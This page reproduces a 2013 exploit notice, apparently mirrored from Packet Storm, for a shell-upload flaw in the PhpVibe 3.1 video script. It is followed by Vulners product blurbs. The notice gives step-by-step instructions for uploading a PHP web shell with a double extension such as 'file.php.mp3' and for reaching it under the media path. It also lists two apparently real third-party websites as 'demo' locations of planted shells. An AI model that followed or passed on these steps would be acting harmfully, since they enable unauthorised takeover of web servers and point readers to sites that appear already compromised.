Lucene search
K

PhpVibe 3.1 Shell Upload

🗓️ 23 Aug 2013 00:00:00Reported by GabbyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

PhpVibe 3.1 Shell Upload Vulnerability on http://thecrowscrew.or

Code
`___________.__ _________ _________   
\__ ___/| |__ ____ \_ ___ \_______ ______ _ ________ \_ ___ \_______ ______ _ __  
| | | | \_/ __ \ / \ \/\_ __ \/ _ \ \/ \/ / ___/ / \ \/\_ __ \_/ __ \ \/ \/ /  
| | | Y \ ___/ \ \____| | \( <_> ) /\___ \ \ \____| | \/\ ___/\ /   
|____| |___| /\___ > \______ /|__| \____/ \/\_//____ > \______ /|__| \___ >\/\_/   
\/ \/ \/ \/ \/ \/   
  
  
http://thecrowscrew.org  
#################################################################################################  
Exploit Title: PhpVibe 3.1 Upload Shell Vulnerability  
Google Dork: use ur brain :P  
Date: 22/08/2013  
Locations: Indonesia  
Author: Gabby  
Product: PhpVibe  
Official site: http://phprevolution.com/  
Risk Level: High   
#################################################################################################  
  
Poc :   
u must regist first,. n go to video upload,.   
  
http://site.com/upload  
  
upload ur shell as extensi "file.php.mp3" / "file.php.mp4" / "file.php.flv  
  
shell akses :  
http://site.com/media/flv/month-date-year-time-minute-pm/am-file.php.mp3  
  
Demo :   
http://viralwire.co.uk/media/flv/august-21-13-10-57-pm-file.php.mp3  
http://otelvideo.ru//media/flv/august-22-13-1-42-am-file.php.flv  
  
  
################################################################################​#################  
  
Thanks to :  
Catalyst71, kit4r0, 777r, ovanIsmycode, walangkaji, penjamoen, "Dad", my sista Wii, Red-x, all my luvly friend,..  
Yogyacarderlink, SurabayaBlackhat, n for Someone, i cant say his name,. thanks for give me idea..^^   
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation